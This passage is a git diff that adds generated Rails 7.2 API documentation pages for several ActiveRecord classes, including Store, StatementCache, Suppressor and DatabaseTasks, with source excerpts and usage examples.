Raised on attempt to save stale record. Record is stale when it’s being saved in another query after instantiation, for example, when two users edit the same wiki page and one starts editing and saves the page before the other.

+ +

Read more about optimistic locking in ActiveRecord::Locking module documentation.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + attempted_action
+ [R] + record
+ + + + +

Class Public methods

+ +
+

+ + new(record = nil, attempted_action = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 361
+    def initialize(record = nil, attempted_action = nil)
+      if record && attempted_action
+        @record = record
+        @attempted_action = attempted_action
+        super("Attempted to #{attempted_action} a stale object: #{record.class.name}.")
+      else
+        super("Stale object error.")
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/StatementCache.html b/src/7.2/classes/ActiveRecord/StatementCache.html new file mode 100644 index 0000000000..ccb1a158bc --- /dev/null +++ b/src/7.2/classes/ActiveRecord/StatementCache.html @@ -0,0 +1,73 @@ +--- +title: ActiveRecord::StatementCache +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/StatementCache/PartialQueryCollector.html b/src/7.2/classes/ActiveRecord/StatementCache/PartialQueryCollector.html new file mode 100644 index 0000000000..f1d1333f15 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/StatementCache/PartialQueryCollector.html @@ -0,0 +1,297 @@ +--- +title: ActiveRecord::StatementCache::PartialQueryCollector +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [RW] + preparable
+ [RW] + retryable
+ + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/statement_cache.rb, line 67
+      def initialize
+        @parts = []
+        @binds = []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <<(str) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/statement_cache.rb, line 72
+      def <<(str)
+        @parts << str
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_bind(obj) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/statement_cache.rb, line 77
+      def add_bind(obj)
+        @binds << obj
+        @parts << Substitute.new
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_binds(binds, proc_for_binds = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/statement_cache.rb, line 83
+      def add_binds(binds, proc_for_binds = nil)
+        @binds.concat proc_for_binds ? binds.map(&proc_for_binds) : binds
+        binds.size.times do |i|
+          @parts << ", " unless i == 0
+          @parts << Substitute.new
+        end
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + value() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/statement_cache.rb, line 92
+      def value
+        [@parts, @binds]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/StatementInvalid.html b/src/7.2/classes/ActiveRecord/StatementInvalid.html new file mode 100644 index 0000000000..4a6587a7bf --- /dev/null +++ b/src/7.2/classes/ActiveRecord/StatementInvalid.html @@ -0,0 +1,186 @@ +--- +title: ActiveRecord::StatementInvalid +layout: default +--- +
+ +
+
+ +
+ +

Superclass for all database execution errors.

+ +

Wraps the underlying database error as cause.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + binds
+ [R] + sql
+ + + + +

Class Public methods

+ +
+

+ + new(message = nil, sql: nil, binds: nil, connection_pool: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 192
+    def initialize(message = nil, sql: nil, binds: nil, connection_pool: nil)
+      super(message || $!&.message, connection_pool: connection_pool)
+      @sql = sql
+      @binds = binds
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + set_query(sql, binds) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 200
+    def set_query(sql, binds)
+      unless @sql
+        @sql = sql
+        @binds = binds
+      end
+
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/StatementTimeout.html b/src/7.2/classes/ActiveRecord/StatementTimeout.html new file mode 100644 index 0000000000..ff409bc36c --- /dev/null +++ b/src/7.2/classes/ActiveRecord/StatementTimeout.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::StatementTimeout +layout: default +--- +
+ +
+
+ +
+ +

StatementTimeout will be raised when statement timeout exceeded.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Store.html b/src/7.2/classes/ActiveRecord/Store.html new file mode 100644 index 0000000000..4822ee2464 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Store.html @@ -0,0 +1,254 @@ +--- +title: ActiveRecord::Store +layout: default +--- +
+ +
+
+ +
+ +

Active Record Store

+ +

Store gives you a thin wrapper around serialize for the purpose of storing hashes in a single column. It’s like a simple key/value store baked into your record when you don’t care about being able to query that store outside the context of a single record.

+ +

You can then declare accessors to this store that are then accessible just like any other attribute of the model. This is very helpful for easily exposing store keys to a form or elsewhere that’s already built around just accessing attributes on the model.

+ +

Every accessor comes with dirty tracking methods (key_changed?, key_was and key_change) and methods to access the changes made during the last save (saved_change_to_key?, saved_change_to_key and key_before_last_save).

+ +

NOTE: There is no key_will_change! method for accessors, use store_will_change! instead.

+ +

Make sure that you declare the database column used for the serialized store as a text, so there’s plenty of room.

+ +

You can set custom coder to encode/decode your serialized attributes to/from different formats. JSON, YAML, Marshal are supported out of the box. Generally it can be any wrapper that provides load and dump.

+ +

NOTE: If you are using structured database data types (e.g. PostgreSQL hstore/json, or MySQL 5.7+ json) there is no need for the serialization provided by .store. Simply use .store_accessor instead to generate the accessor methods. Be aware that these columns use a string keyed hash and do not allow access using a symbol.

+ +

NOTE: The default validations with the exception of uniqueness will work. For example, if you want to check for uniqueness with hstore you will need to use a custom validation to handle it.

+ +

Examples:

+ +
class User < ActiveRecord::Base
+  store :settings, accessors: [ :color, :homepage ], coder: JSON
+  store :parent, accessors: [ :name ], coder: JSON, prefix: true
+  store :spouse, accessors: [ :name ], coder: JSON, prefix: :partner
+  store :settings, accessors: [ :two_factor_auth ], suffix: true
+  store :settings, accessors: [ :login_retry ], suffix: :config
+end
+
+u = User.new(color: 'black', homepage: '37signals.com', parent_name: 'Mary', partner_name: 'Lily')
+u.color                          # Accessor stored attribute
+u.parent_name                    # Accessor stored attribute with prefix
+u.partner_name                   # Accessor stored attribute with custom prefix
+u.two_factor_auth_settings       # Accessor stored attribute with suffix
+u.login_retry_config             # Accessor stored attribute with custom suffix
+u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
+
+# There is no difference between strings and symbols for accessing custom attributes
+u.settings[:country]  # => 'Denmark'
+u.settings['country'] # => 'Denmark'
+
+# Dirty tracking
+u.color = 'green'
+u.color_changed? # => true
+u.color_was # => 'black'
+u.color_change # => ['black', 'green']
+
+# Add additional accessors to an existing store through store_accessor
+class SuperUser < User
+  store_accessor :settings, :privileges, :servants
+  store_accessor :parent, :birthday, prefix: true
+  store_accessor :settings, :secret_question, suffix: :config
+end
+
+ +

The stored attribute names can be retrieved using .stored_attributes.

+ +
User.stored_attributes[:settings] # => [:color, :homepage, :two_factor_auth, :login_retry]
+
+ +

Overwriting default accessors

+ +

All stored values are automatically available through accessors on the Active Record object, but sometimes you want to specialize this behavior. This can be done by overwriting the default accessors (using the same name as the attribute) and calling super to actually change things.

+ +
class Song < ActiveRecord::Base
+  # Uses a stored integer to hold the volume adjustment of the song
+  store :settings, accessors: [:volume_adjustment]
+
+  def volume_adjustment=(decibels)
+    super(decibels.to_i)
+  end
+
+  def volume_adjustment
+    super.to_i
+  end
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + local_stored_attributes
+ + + + + +

Instance Private methods

+ +
+

+ + read_store_attribute(store_attribute, key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/store.rb, line 209
+      def read_store_attribute(store_attribute, key) # :doc:
+        accessor = store_accessor_for(store_attribute)
+        accessor.read(self, store_attribute, key)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write_store_attribute(store_attribute, key, value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/store.rb, line 214
+      def write_store_attribute(store_attribute, key, value) # :doc:
+        accessor = store_accessor_for(store_attribute)
+        accessor.write(self, store_attribute, key, value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Store/ClassMethods.html b/src/7.2/classes/ActiveRecord/Store/ClassMethods.html new file mode 100644 index 0000000000..ce73d2a616 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Store/ClassMethods.html @@ -0,0 +1,260 @@ +--- +title: ActiveRecord::Store::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + store(store_attribute, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/store.rb, line 106
+      def store(store_attribute, options = {})
+        coder = build_column_serializer(store_attribute, options[:coder], Object, options[:yaml])
+        serialize store_attribute, coder: IndifferentCoder.new(store_attribute, coder)
+        store_accessor(store_attribute, options[:accessors], **options.slice(:prefix, :suffix)) if options.has_key? :accessors
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + store_accessor(store_attribute, *keys, prefix: nil, suffix: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/store.rb, line 112
+      def store_accessor(store_attribute, *keys, prefix: nil, suffix: nil)
+        keys = keys.flatten
+
+        accessor_prefix =
+          case prefix
+          when String, Symbol
+            "#{prefix}_"
+          when TrueClass
+            "#{store_attribute}_"
+          else
+            ""
+          end
+        accessor_suffix =
+          case suffix
+          when String, Symbol
+            "_#{suffix}"
+          when TrueClass
+            "_#{store_attribute}"
+          else
+            ""
+          end
+
+        _store_accessors_module.module_eval do
+          keys.each do |key|
+            accessor_key = "#{accessor_prefix}#{key}#{accessor_suffix}"
+
+            define_method("#{accessor_key}=") do |value|
+              write_store_attribute(store_attribute, key, value)
+            end
+
+            define_method(accessor_key) do
+              read_store_attribute(store_attribute, key)
+            end
+
+            define_method("#{accessor_key}_changed?") do
+              return false unless attribute_changed?(store_attribute)
+              prev_store, new_store = changes[store_attribute]
+              prev_store&.dig(key) != new_store&.dig(key)
+            end
+
+            define_method("#{accessor_key}_change") do
+              return unless attribute_changed?(store_attribute)
+              prev_store, new_store = changes[store_attribute]
+              [prev_store&.dig(key), new_store&.dig(key)]
+            end
+
+            define_method("#{accessor_key}_was") do
+              return unless attribute_changed?(store_attribute)
+              prev_store, _new_store = changes[store_attribute]
+              prev_store&.dig(key)
+            end
+
+            define_method("saved_change_to_#{accessor_key}?") do
+              return false unless saved_change_to_attribute?(store_attribute)
+              prev_store, new_store = saved_changes[store_attribute]
+              prev_store&.dig(key) != new_store&.dig(key)
+            end
+
+            define_method("saved_change_to_#{accessor_key}") do
+              return unless saved_change_to_attribute?(store_attribute)
+              prev_store, new_store = saved_changes[store_attribute]
+              [prev_store&.dig(key), new_store&.dig(key)]
+            end
+
+            define_method("#{accessor_key}_before_last_save") do
+              return unless saved_change_to_attribute?(store_attribute)
+              prev_store, _new_store = saved_changes[store_attribute]
+              prev_store&.dig(key)
+            end
+          end
+        end
+
+        # assign new store attribute and create new hash to ensure that each class in the hierarchy
+        # has its own hash of stored attributes.
+        self.local_stored_attributes ||= {}
+        self.local_stored_attributes[store_attribute] ||= []
+        self.local_stored_attributes[store_attribute] |= keys
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stored_attributes() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/store.rb, line 199
+      def stored_attributes
+        parent = superclass.respond_to?(:stored_attributes) ? superclass.stored_attributes : {}
+        if local_stored_attributes
+          parent.merge!(local_stored_attributes) { |k, a, b| a | b }
+        end
+        parent
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/StrictLoadingViolationError.html b/src/7.2/classes/ActiveRecord/StrictLoadingViolationError.html new file mode 100644 index 0000000000..531474ee96 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/StrictLoadingViolationError.html @@ -0,0 +1,68 @@ +--- +title: ActiveRecord::StrictLoadingViolationError +layout: default +--- +
+ +
+
+ +
+ +

Raised on attempt to lazily load records that are marked as strict loading.

+ +

You can resolve this error by eager loading marked records before accessing them. The Eager Loading Associations guide covers solutions, such as using ActiveRecord::Base.includes.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SubclassNotFound.html b/src/7.2/classes/ActiveRecord/SubclassNotFound.html new file mode 100644 index 0000000000..25706d0541 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SubclassNotFound.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::SubclassNotFound +layout: default +--- +
+ +
+
+ +
+ +

Raised when the single-table inheritance mechanism fails to locate the subclass (for example due to improper usage of column that ActiveRecord::Base.inheritance_column points to).

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Suppressor.html b/src/7.2/classes/ActiveRecord/Suppressor.html new file mode 100644 index 0000000000..f7a3094cad --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Suppressor.html @@ -0,0 +1,96 @@ +--- +title: ActiveRecord::Suppressor +layout: default +--- +
+ +
+
+ +
+ +

Active Record Suppressor

+ +

ActiveRecord::Suppressor prevents the receiver from being saved during a given block.

+ +

For example, here’s a pattern of creating notifications when new comments are posted. (The notification may in turn trigger an email, a push notification, or just appear in the UI somewhere):

+ +
class Comment < ActiveRecord::Base
+  belongs_to :commentable, polymorphic: true
+  after_create -> { Notification.create! comment: self,
+    recipients: commentable.recipients }
+end
+
+ +

That’s what you want the bulk of the time. New comment creates a new Notification. But there may well be off cases, like copying a commentable and its comments, where you don’t want that. So you’d have a concern something like this:

+ +
module Copyable
+  def copy_to(destination)
+    Notification.suppress do
+      # Copy logic that creates new comments that we do not want
+      # triggering notifications.
+    end
+  end
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Suppressor/ClassMethods.html b/src/7.2/classes/ActiveRecord/Suppressor/ClassMethods.html new file mode 100644 index 0000000000..572074eee0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Suppressor/ClassMethods.html @@ -0,0 +1,105 @@ +--- +title: ActiveRecord::Suppressor::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + suppress(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/suppressor.rb, line 42
+      def suppress(&block)
+        previous_state = Suppressor.registry[name]
+        Suppressor.registry[name] = true
+        yield
+      ensure
+        Suppressor.registry[name] = previous_state
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/TableNotSpecified.html b/src/7.2/classes/ActiveRecord/TableNotSpecified.html new file mode 100644 index 0000000000..3b646c6489 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/TableNotSpecified.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::TableNotSpecified +layout: default +--- +
+ +
+
+ +
+ +

Raised when a model makes a query but it has not specified an associated table.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Tasks.html b/src/7.2/classes/ActiveRecord/Tasks.html new file mode 100644 index 0000000000..8b719c3ed0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Tasks.html @@ -0,0 +1,83 @@ +--- +title: ActiveRecord::Tasks +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Tasks/DatabaseTasks.html b/src/7.2/classes/ActiveRecord/Tasks/DatabaseTasks.html new file mode 100644 index 0000000000..2aa1417c86 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Tasks/DatabaseTasks.html @@ -0,0 +1,1920 @@ +--- +title: ActiveRecord::Tasks::DatabaseTasks +layout: default +--- +
+ +
+
+ +
+ +

Active Record DatabaseTasks

+ +

ActiveRecord::Tasks::DatabaseTasks is a utility class, which encapsulates logic behind common tasks used to manage database and migrations.

+ +

The tasks defined here are used with Rails commands provided by Active Record.

+ +

In order to use DatabaseTasks, a few config values need to be set. All the needed config values are set by Rails already, so it’s necessary to do it only if you want to change the defaults or when you want to use Active Record outside of Rails (in such case after configuring the database tasks, you can also use the rake tasks defined in Active Record).

+ +

The possible config values are:

+
  • +

    env: current environment (like Rails.env).

    +
  • +

    database_configuration: configuration of your databases (as in config/database.yml).

    +
  • +

    db_dir: your db directory.

    +
  • +

    fixtures_path: a path to fixtures directory.

    +
  • +

    migrations_paths: a list of paths to directories with migrations.

    +
  • +

    seed_loader: an object which will load seeds, it needs to respond to the load_seed method.

    +
  • +

    root: a path to the root of the application.

    +
+ +

Example usage of DatabaseTasks outside Rails could look as such:

+ +
include ActiveRecord::Tasks
+DatabaseTasks.database_configuration = YAML.load_file('my_database_config.yml')
+DatabaseTasks.db_dir = 'db'
+# other settings...
+
+DatabaseTasks.create_current('production')
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
LOCAL_HOSTS=["127.0.0.1", "localhost"]
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + database_configuration
+ [W] + db_dir
+ [W] + env
+ [W] + fixtures_path
+ [W] + migrations_paths
+ [W] + root
+ [W] + seed_loader
+ + + + +

Class Public methods

+ +
+

+ + structure_dump_flags + +

+ + +
+

Extra flags passed to database CLI tool (mysqldump/pg_dump) when calling db:schema:dump It can be used as a string/array (the typical case) or a hash (when you use multiple adapters) Example:

+ +
ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = {
+  mysql2: ['--no-defaults', '--skip-add-drop-table'],
+  postgres: '--no-tablespaces'
+}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 50
+      mattr_accessor :structure_dump_flags, instance_accessor: false
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + structure_load_flags + +

+ + +
+

Extra flags passed to database CLI tool when calling db:schema:load It can be used as a string/array (the typical case) or a hash (when you use multiple adapters)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 56
+      mattr_accessor :structure_load_flags, instance_accessor: false
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + cache_dump_filename(db_config_or_name, schema_cache_path: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 460
+      def cache_dump_filename(db_config_or_name, schema_cache_path: nil)
+        if db_config_or_name.is_a?(DatabaseConfigurations::DatabaseConfig)
+          schema_cache_path ||
+            db_config_or_name.schema_cache_path ||
+            schema_cache_env ||
+            db_config_or_name.default_schema_cache_path(ActiveRecord::Tasks::DatabaseTasks.db_dir)
+        else
+          ActiveRecord.deprecator.warn(<<~MSG.squish)
+            Passing a database name to `cache_dump_filename` is deprecated and will be removed in Rails 8.0. Pass a
+            `ActiveRecord::DatabaseConfigurations::DatabaseConfig` object instead.
+          MSG
+
+          filename = if ActiveRecord::Base.configurations.primary?(db_config_or_name)
+            "schema_cache.yml"
+          else
+            "#{db_config_or_name}_schema_cache.yml"
+          end
+
+          schema_cache_path || schema_cache_env || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, filename)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + charset(configuration, *arguments) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 324
+      def charset(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        database_adapter_for(db_config, *arguments).charset
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + charset_current(env_name = env, db_name = name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 319
+      def charset_current(env_name = env, db_name = name)
+        db_config = configs_for(env_name: env_name, name: db_name)
+        charset(db_config)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_protected_environments!(environment = env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 65
+      def check_protected_environments!(environment = env)
+        return if ENV["DISABLE_DATABASE_ENVIRONMENT_CHECK"]
+
+        configs_for(env_name: environment).each do |db_config|
+          check_current_protected_environment!(db_config)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_schema_file(filename) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 490
+      def check_schema_file(filename)
+        unless File.exist?(filename)
+          message = +%{#{filename} doesn't exist yet. Run `bin/rails db:migrate` to create it, then try again.}
+          message << %{ If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded.} if defined?(::Rails.root)
+          Kernel.abort message
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_target_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 309
+      def check_target_version
+        if target_version && !Migration.valid_version_format?(ENV["VERSION"])
+          raise "Invalid format of target version: `VERSION=#{ENV['VERSION']}`"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_schema_cache(filename) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 516
+      def clear_schema_cache(filename)
+        FileUtils.rm_f filename, verbose: false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + collation(configuration, *arguments) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 334
+      def collation(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        database_adapter_for(db_config, *arguments).collation
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + collation_current(env_name = env, db_name = name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 329
+      def collation_current(env_name = env, db_name = name)
+        db_config = configs_for(env_name: env_name, name: db_name)
+        collation(db_config)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create(configuration, *arguments) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 115
+      def create(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        database_adapter_for(db_config, *arguments).create
+        $stdout.puts "Created database '#{db_config.database}'" if verbose?
+      rescue DatabaseAlreadyExists
+        $stderr.puts "Database '#{db_config.database}' already exists" if verbose?
+      rescue Exception => error
+        $stderr.puts error
+        $stderr.puts "Couldn't create '#{db_config.database}' database. Please check your configuration."
+        raise
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_all() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 127
+      def create_all
+        db_config = migration_connection.pool.db_config
+
+        each_local_configuration { |db_config| create(db_config) }
+
+        migration_class.establish_connection(db_config)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_current(environment = env, name = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 170
+      def create_current(environment = env, name = nil)
+        each_current_configuration(environment, name) { |db_config| create(db_config) }
+
+        migration_class.establish_connection(environment.to_sym)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + db_dir() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 83
+      def db_dir
+        @db_dir ||= Rails.application.config.paths["db"].first
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + drop(configuration, *arguments) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 223
+      def drop(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        database_adapter_for(db_config, *arguments).drop
+        $stdout.puts "Dropped database '#{db_config.database}'" if verbose?
+      rescue ActiveRecord::NoDatabaseError
+        $stderr.puts "Database '#{db_config.database}' does not exist"
+      rescue Exception => error
+        $stderr.puts error
+        $stderr.puts "Couldn't drop database '#{db_config.database}'"
+        raise
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + drop_all() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 235
+      def drop_all
+        each_local_configuration { |db_config| drop(db_config) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + drop_current(environment = env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 239
+      def drop_current(environment = env)
+        each_current_configuration(environment) { |db_config| drop(db_config) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump_schema_cache(conn_or_pool, filename) + +

+ + +
+

Dumps the schema cache in YAML format for the connection into the file

+ +

Examples

+ +
ActiveRecord::Tasks::DatabaseTasks.dump_schema_cache(ActiveRecord::Base.lease_connection, "tmp/schema_dump.yaml")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 512
+      def dump_schema_cache(conn_or_pool, filename)
+        conn_or_pool.schema_cache.dump_to(filename)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + env() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 103
+      def env
+        @env ||= Rails.env
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fixtures_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 91
+      def fixtures_path
+        @fixtures_path ||= if ENV["FIXTURES_PATH"]
+          File.join(root, ENV["FIXTURES_PATH"])
+        else
+          File.join(root, "test", "fixtures")
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_schema_current(format = ActiveRecord.schema_format, file = nil, environment = env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 482
+      def load_schema_current(format = ActiveRecord.schema_format, file = nil, environment = env)
+        each_current_configuration(environment) do |db_config|
+          with_temporary_connection(db_config) do
+            load_schema(db_config, format, file)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_seed() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 498
+      def load_seed
+        if seed_loader
+          seed_loader.load_seed
+        else
+          raise "You tried to load seed data, but no seed loader is specified. Please specify seed " \
+                "loader with ActiveRecord::Tasks::DatabaseTasks.seed_loader = your_seed_loader\n" \
+                "Seed loader should respond to load_seed method"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + migrate(version = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/tasks/database_tasks.rb, line 256
+      def migrate(version = nil)
